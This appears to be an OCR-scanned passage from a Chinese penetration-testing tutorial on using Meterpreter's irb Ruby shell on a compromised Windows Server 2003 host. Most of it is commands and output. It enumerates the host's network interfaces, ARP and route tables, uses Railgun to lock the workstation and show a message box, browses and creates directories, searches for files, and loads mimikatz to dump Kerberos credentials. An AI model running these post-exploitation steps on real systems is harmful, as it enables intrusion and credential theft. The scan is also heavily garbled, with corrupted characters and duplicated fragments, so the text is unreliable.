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RailgunZMeterpreter stdapitdf & , IHESINEDLL, RailgunBIGRAIFEEEEE NS
HIAESE LRI Windows APL, 1B NAFHIETERWindows APL,

meterpreter = irb
[#] Starting IFE 11
[#] The "client" wariable holds the meterpreter client

meterpreter R TirbFH A ruby3zg,

BEAREEEE
I >> client.sys.config.sysinfo[ '0S"
2 => "Windows .NET Server (Build 3790, Service Pack 2)."
3 >> client.sys.config.getuid
1 => "WIN@3X64\\Administrator"
5 >> interfaces = client.net.config.interfaces

6 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000
©552ee92c5770 @index=65539, @mac_addr="\x00\f)\x85\xD6}", @mac_name="Int¢
1(R) PRO/1000 MT Network Connection", @mtu=1500, @flags=nil, @addrs=["19
2.168.1.119"], @netmasks=["255.255.255.0"], @scopes=[]>, #<Rex::Post::Mel
erpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1
@mac_addr="", @mac_name="MS TCP Loopback interface", @mtu=1520, @flags=n
1, @addrs=["127.0.0.1"], @netmasks=[], @scopes=[]>]

>> interfaces.each do |i]

-

8 ?> puts i.pretty
9 >> end

10 Interface 65539

12 Name : Intel(R) PRO/1000 MT Network Connection
13 Hardware MAC : 00:0c:29:85:d6:7d

14 MTU : 1500

15 IPv4 Address : 192.168.1.119

16 IPv4 Netmask : 255.255.255.0

Interface 1

19 Name : MS TCP Loopback interface
20 Hardware MAC : 00:00:00:00:00:00
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21 MTU : 1520
22 IPv4 Address : 127.0.0.1

23 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x00¢
055aee92c5770 @index=65539, @mac_addr="\x00\f)\x85\xD6}", @mac_name="Int¢
1(R) PRO/1000 MT Network Connection", @mtu=1500, @flags=nil, @addrs=["19
2.168.1.119"], @netmasks=["255.255.255.0"], @scopes=[]>, #<Rex::Post::Mel
erpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1
@mac_addr="", @mac_name="MS TCP Loopback interface", @mtu=1520, @flags=n
l, @addrs=["127.0.0.1"], @netmasks=[], @scopes=[]>]

24 >>

addr=

Connection

me
Hardware M

BEEHB -

| >> client.railgun.user32.LockWorkStation

2 => {"GetLastError"=>0, "ErrorMessage"=>"\xB2\xD9\xD7\xF7\xB3\xC9\xB9\x
A6\XCD\XEA\XxB3\xC9\xA1\xA3", "return"=>true}

3 >>

ation()
“return"=s>truel

JEHFHMessageBox :

I >> client.railgun.user32.MessageBoxA(@, "Micropoor", "Micropoor", "MB_
oK™
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Micropoor
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I >> client.fs.dir.pwd

2 => "C:\\Documents and Settings\\Administrator\\\XE6\xA1\x8C\XE9\Xx9D\xA

2"

B REXREME -
1 >> client.fs.dir.chdir("c:\\")
2 =>0
3 >> client.fs.dir.entries
4 => ["ADFS", "AUTOEXEC.BAT", "boot.ini", "bootfont.bin", "CONFIG.SYS",
"Documents and Settings", "Inetpub", "IO.SYS", "MSDOS.SYS", "NTDETECT.CO
M", "ntldr", "pagefile.sys", "Program Files", "Program Files (x86)", "RE(
YCLER", "System Volume Information", "WINDOWS", "wmpub"]
5

= AV L
1 >> client.fs.dir.mkdir("Micropoor")
2 =>0
3
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[ChMicropoor IrisE 2019-1-14 15:3

) Program Files [(x86) are 2019-1-4 15:01
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I >> client.core.use "mimikatz"
2 => true
3 >> client.mimikatz

| => #<Rex::Post::Meterpreter::Extensions::Mimikatz::Mimikatz:0x000055ae
e91ceb28 @client=#<Session:meterpreter 192.168.1.119:53 (192.168.1.119)
"WINO3X64\Administrator @ WINOG3X64">, @name="mimikatz">

5 >> client.mimikatz.kerberos

6 => [{:authid=>"0;996", :package=>"Negotiate", :user=>"NETWORK

SERVICE", :domain=>"NT AUTHORITY", :password=>"mod process::getVeryBasicl
odulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessl
emory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}
{:authid=>"0;44482", :package=>"NTLM", :user=>"", :domain=>""
:password=>"mod _process::getVeryBasicModulesListForProcess : (0x0000012b
\XC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B
\x02 \nn.a. (kerberos KO)"}, {:authid=>"0;115231", :package=>"NTLM", :ust
r=>"Administrator", :domain=>"WIN@G3X64", :password=>"mod process::getVer)
BasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadP
ocessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {::
uthid=>"0;997", :package=>"Negotiate", :user=>"LOCAL SERVICE"
:domain=>"NT AUTHORITY", :password=>"mod process::getVeryBasicModuleslLis
ForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x1f
WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {:authid=>"0;999"
package=>"NTLM", :user=>"WINO3X64%", :domain=>"WORKGROUP", :password=>"m
d process::getVeryBasicModulesListForProcess : (©x0000012b) \xC5\x8C\x10
\XE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a.
(kerberos KO0)"}

7

client.core.use "mimikatz"
true
client.mim
553ee9lceb28 @client=¢ ion:meterpreter 182.1658.1.119:53 (192.168.1.119) "WINDSXE

', cdoma

16 WritePro

PRENADL , AR |, arp< :
I >> client.net.config.arp_table

2 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x000055aee
7f5f6b8 @ip_addr="192.168.1.1", @mac_addr="78:44:fd:8e:91:59", @interfac
="65539">, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x0000!
S5aee7f5ee20 @ip _addr="192.168.1.3", @mac_addr="28:16:ad:3b:51:78", @inte!
face="65539">]

3 >> client.net.config.arp_table[@].ip_addr
{1 => "192.168.1.1"
5 >> client.net.config.arp_table[@].mac_addr

6 => "78:44:fd:8e:91:59"



7 >> client.net.config.arp_table[0@].interface
8 => "65539"
9 >> client.net.config.routes

10 => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055:
ee789be58 @subnet="0.0.0.0", @netmask="0.0.0.0", @gateway="192.168.1.1",
@interface="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions: :Si
dapi::Net::Route:0x000055aee789a7b0 @subnet="127.0.0.0", @netmask="255.0
0.0", @gateway="127.0.0.1", @interface="1", @metric=1>, #<Rex::Post::Met«
rpreter::Extensions::Stdapi::Net::Route:0x0000552ee78993b0 @subnet="192.:
68.1.0", @netmask="255.255.255.0", @gateway="192.168.1.119", @interface
="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Ne
t::Route:0x000055aee786fecd @subnet="192.168.1.119", @netmask="255.255.2!
5.255", @gateway="127.0.0.1", @interface="1", @metric=10>, #<Rex::Post::l
eterpreter::Extensions: :Stdapi::Net::Route:0x000055aee786e€9d0 @subnet="1
2.168.1.255", @netmask="255.255.255.255", @gateway="192.168.1.119", @inte
rface="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::Stdap
i::Net::Route:0x0000552ee786d698 @subnet="224.0.0.0", @netmask="240.0.0.
0", @gateway="192.168.1.119", @interface="65539", @metric=10>, #<Rex::Po:
t::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee785be98 @subne
="255.255.255.255", @netmask="255.255.255.255", @gateway="192.168.1.119"
@interface="65539", @metric=1>]

dapi
rpreter:
"
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I >> client.fs.file.search("C:\\", "*.txt"
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